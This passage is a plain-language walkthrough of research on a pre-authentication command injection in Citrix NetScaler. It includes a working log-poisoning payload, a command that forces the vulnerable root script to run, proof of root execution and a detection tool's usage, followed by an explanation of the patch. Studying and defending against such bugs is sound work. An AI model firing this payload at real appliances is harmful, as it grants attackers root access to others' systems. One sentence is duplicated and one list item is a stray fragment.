HTTP/1.1 200 OKmeans the server accepted the request and answered normally. The attack does not produce an error page; it looks like an ordinary login.Content-Security-Policyis a set of browser rules about which scripts and resources a page may load. It is not related to the bug; it is simply part of the normal response.Set-Cookie: NSC_DLGE=yyyyyyy;Secure;HttpOnly;Path=/gives the browser a cookie. A cookie is a small piece of data a website asks your browser to store and send back on later requests, so the site can remember who you are.Securemeans send it only over encrypted connections, andHttpOnlymeans page scripts cannot read it. The value is redacted here.X-Content-Type-OptionsandX-XSS-Protectionare extra browser safety headers.Content-Type: application/vnd.citrix.authenticateresponse-1+xmlsays the body is XML, a text format for structured data.- The XML body says the login was a success and asks the user to update their credentials. The
InitialValuefield echoes back the username, which is where the payload appears again, this time withhelloxxxxin place ofwatchTowr.
The important point is that the payload has now been written into the appliance's logs. The researchers stress that this is not limited to one endpoint. Any endpoint or port that writes attacker-controlled data into those logs can trigger the bug: failed login attempts, users blocked by rate limits, request parameters, and User-Agent headers. A User-Agent header is the line your browser sends to identify itself, such as "Firefox on Windows". Even the Citrix management interface is not safe.
The request above causes these log entries:
<local0.info> xxxxxx 0-PPE-0 : default SSLVPN Message 675 0 : "AAAD API: sending login req to aaad for <pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X>, factor <xxxx>, auth type 4129, trans id 1350"
<local1.info> xxxxxx nsaaad[15791]: (0-57) process_kernel_socket: call to authenticate user :pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X, vsid :11813, userlen 70
<local0.info> xxxxx 0-PPE-0 : default AAATM Message 678 0 : "AAAD RESP: received resp, user: <pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X>, factor: <xxxxx>, trans id 1350, pcb trans id 1350, q_flags 1879080964 aaad-resp 15 aaad-flags 0"
Each line is a log record: a timestamp-like prefix, the process that wrote it, and a message. The first says the login request was sent to the authentication service, with the username in angle brackets. The second says the authentication service received the user name. The third says a response came back. In all three, the payload sits in the log exactly as sent. That is the poisoned data the vulnerable script will later read.
Step 4: waiting, or forcing the script
The injected command does not run the moment the request arrives. The script ns_monuploadd_err.pl runs on a schedule, and the researchers say it can take up to 24 hours. That is frustrating if you are trying to demonstrate the bug.
To force it to run immediately, this command can be executed on the appliance:
/netscaler/ns_monuploadd_err.pl -WR
This runs the script by its full path, with the -WR option. The researchers mention they may have found a way to make it fire instantly from outside, but they are keeping that to themselves for now.
Step 5: checking that the command ran
To confirm the injected command executed, the researcher looked for the file it was supposed to create:
root@netscaler# ls -la /var/tmp/watchTowr
-rw-r--r-- 1 root wheel 41 Sep 28 09:21 /var/tmp/watchTowr
root@netscaler# cat /var/tmp/watchTowr
uid=0(root) gid=0(wheel) groups=0(wheel)
root@netscaler#
Line by line:
root@netscaler#is the command prompt: the user isrooton a machine callednetscaler, and#indicates administrator rights.ls -la /var/tmp/watchTowrlists details of that file. The output shows it exists, is owned byroot, is 41 bytes long, and was created on 28 September at 09:21.cat /var/tmp/watchTowrprints the file's contents. The outputuid=0(root) gid=0(wheel) groups=0(wheel)is what theidcommand prints: user ID 0, which is root, and group 0, called wheel. That proves the injected command ran with full administrator rights.
Step 6: the detection tool
The researchers published a Detection Artefact Generator, a script that checks whether your own appliance is vulnerable. It is on GitHub at watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771. Running it looks like this:
./watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py --target https://all-ur-boxen/ --command 'id>/var/tmp/watchTowr'
__ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py
(*) Citrix NetScaler PreAuth Command Injection to RCE Detection Artifact Generator
- Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-88771]
[+] connected to https://all-ur-boxen/
[*] payload built: pitboss PPE unexpectedly died NSPPE;id>/var/tmp/watchTowr;# X
[+] poisoning the logs...
[*] triggering force pickup...
[*] remote force pickup in progress
[*] done
What each part means:
./watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.pyruns the Python script from the current directory. Python is a popular programming language, and.pyfiles are Python programs.--target https://all-ur-boxen/is the address of the appliance to test. The name is a placeholder.--command 'id>/var/tmp/watchTowr'is the command the tool will try to make the appliance run.- The block of slashes and underscores is ASCII art, a picture drawn with text characters.
- The lines starting with
[+]and[*]are progress messages: it connected, built the payload, poisoned the logs, triggered the pickup, and finished.
Why it worked: the root cause
The mistake lives in ns_monuploadd_err.pl. The old code builds a core filename by piping log contents through grep, sed and awk, and never checks that the extracted fields really are a packet engine name and a number. It trusts whatever text follows the word NSPPE in the log. That string is then pasted into a second backtick command, find /var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1, which Perl hands to a shell. Shell special characters in the log-derived value, such as semicolons, are therefore treated as command separators. Because the script runs as root, the injected command runs as root.
The old code's sed and awk pipeline stripped parentheses and picked two fields, but never restricted which characters those fields could contain. It never restricted which characters those fields could contain, so it did not stop the injection.
What an attacker could do
Someone with no account at all can run any command they like on a NetScaler in its default configuration, with root privileges. The bug was used by real attackers before a fix existed. To trigger it, attacker-controlled text has to reach the logs that ns_monuploadd_err.pl reads. The researchers note that any endpoint or port that logs data from an HTTP header can do that, including failed logins, rate-limit messages, request parameters and User-Agent headers, and that even the management interface is not safe. Execution is not instant: the script runs on a schedule that can take up to 24 hours, unless it is forced.
How Citrix fixed it
The fixed script replaces the grep | sed | awk pipeline with ordinary Perl file reading. It reads each log line and applies this pattern:
qr/pitboss.*(NSPPE-\d{2})\s*\((\d+)\).*(missed too many heartbeats|unexpectedly died)/
A regular expression, or regex, is a pattern for matching text. qr/.../ is Perl's way of writing one. Reading it piece by piece:
pitbossmatches the literal word..*means "any characters, any number of them".(NSPPE-\d{2})is a capture group: it matches the literalNSPPE-, then exactly two digits (\dmeans a digit), and remembers what it matched. This is the packet engine name, such asNSPPE-00.\s*means optional whitespace.\((\d+)\)matches a literal opening parenthesis, then one or more digits, then a closing parenthesis, and remembers the digits. This is the process ID..*again allows anything in between.(missed too many heartbeats|unexpectedly died)matches either of the two failure phrases.
The two captured values are deliberately narrow: one is a packet engine name of a fixed shape, the other is only digits. The filename is then built only from those two captures:
$WR_PPE_COREFILE_NAME = "$1-$2";
$1 and $2 are the first and second captured pieces. Even if the rest of the log line is full of semicolons, pipes, backticks or redirection characters, none of them end up in the filename.
The second change matters just as much. The fixed script starts find using Perl's list form:
open my $find, '-|', 'find', '/var/core', '-type', 'f', ...
Here each value is passed to find as a separate argument, like handing someone a list of items rather than a sentence to interpret. Perl does not build a command string and does not start a shell, so special characters cannot be read as commands. The search was also tightened: instead of matching any file whose name starts with the core name (NAME*), it now matches only the exact core filename or its exact .gz compressed form.
Finally, the path that comes back must match this pattern:
/\A[A-Za-z0-9\/\-.]+\z/
\A and \z anchor the match to the very start and very end of the text, so the whole path must fit. The character class [A-Za-z0-9\/\-.] allows only letters, digits, /, - and .. This is defence in depth: the path is used later by older backtick commands elsewhere in the script, so it is checked even though the earlier fixes should already have made it safe. Defence in depth means adding several independent layers of protection, so one mistake does not open the door.
In short, the patch builds the core name from strictly checked pieces and runs find without a shell in the middle.
Other places to look
The researchers list variations worth testing on your own systems:
- Other endpoints that log attacker-controlled data. Send the payload in request parameters, the User-Agent header, or values that show up in failed logins and rate-limit messages. A positive result is the payload appearing unchanged in the NetScaler logs, followed by the injected command's output file appearing after the script runs.
- The management interface. The researcher says it is not safe either. A positive result is the same log poisoning and later command execution there.
- Other ports and services that write to the same logs. Any port that logs data from HTTP headers can trigger it. A positive result is the payload in the log and the command running as root.
- Forcing the script. Run
/netscaler/ns_monuploadd_err.pl -WRon a test appliance after poisoning the logs. A positive result is the output file appearing after the script is run. - A positive result is a value containing shell special characters reaching a shell.
Glossary
- ADC (Application Delivery Controller): a device or virtual machine that sits in front of web servers and spreads traffic across them, often also handling encryption and login.
- API: a defined way for one piece of software to ask another to do something, like a service counter with set procedures.
- Argument: one separate value passed to a command, such as a filename.
- Authentication: checking that someone is who they claim to be, usually with a username and password.
- Backticks: the
`characters in Perl and shell scripts that mean "run this as a command and give me its output". - Burp: a tool for intercepting and editing web traffic between a browser and a server.
- Command injection: a bug where text supplied by a user is treated as part of a command and executed.
- Cookie: a small piece of data a website asks your browser to store and send back later, used to remember who you are.
- Core file: a snapshot of a program's memory written to disk when it crashes, used for debugging.
- CVE: a public catalogue number for a specific security vulnerability.
- CVSS: a standard 0 to 10 score for how severe a vulnerability is.
- Defence in depth: adding several independent layers of protection so one failure does not open the door.
- DTLS: an encrypted transport protocol used for UDP traffic, common in VPNs.
- Enhanced ISN Generation: a NetScaler setting that makes certain internal sequence numbers unpredictable.
- grep: a command-line tool that prints lines of text matching a pattern.
- Hackvertor: a browser extension for Burp that encodes and decodes values such as URL-encoded text.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- HTTP request smuggling: a bug where two systems disagree about where one HTTP request ends and the next begins.
- Load balancing: spreading incoming traffic over several servers so none is overwhelmed.
- Memory overflow: writing more data into a memory area than fits, spilling into neighbouring memory.
- NetScaler: Citrix's family of application delivery controllers and VPN gateway appliances.
- nsppe: the NetScaler Packet Processing Engine, the program that handles network packets.
- Payload: the part of an attack that does the damage, here the text that ends up being run as a command.
- Perl: a programming language often used for system administration scripts; its files end in
.pl. - Pitboss: the supervisor process on NetScaler that watches the other processes and logs when they die.
- Pre-auth: happening before any login, so no account is needed.
- Process ID: the number the operating system gives a running program so it can be tracked.
- PSIRT: the team inside a software company that handles security reports.
- Python: a popular programming language; its files end in
.py. - Regular expression (regex): a pattern for matching text.
- Remote code execution (RCE): a bug that lets an attacker make a machine run their own commands.
- Reverse engineering: taking software apart to understand how it works without its source code.
- Root: the all-powerful administrator account on Linux, with no restrictions.
- sed: a command-line tool for editing text with find-and-replace rules.
- Shell: the program that reads commands and runs them, usually
/bin/shorbashon Linux. - SSL offloading: handling encryption in one central place instead of on every server behind it.
- tail: a command-line tool that prints the last lines of its input.
- URL encoding: replacing characters that are not allowed in a URL with safe codes such as
%3Bfor a semicolon. - User-Agent: the header a browser sends to identify itself, such as "Firefox on Windows".
- Variable: a named box in a program that holds a value.
- VPN: a private, encrypted connection that lets someone outside an office reach internal systems.
- XML: a text format for structured data, using tags in angle brackets.
- Zero-day: a vulnerability exploited by attackers before a fix exists.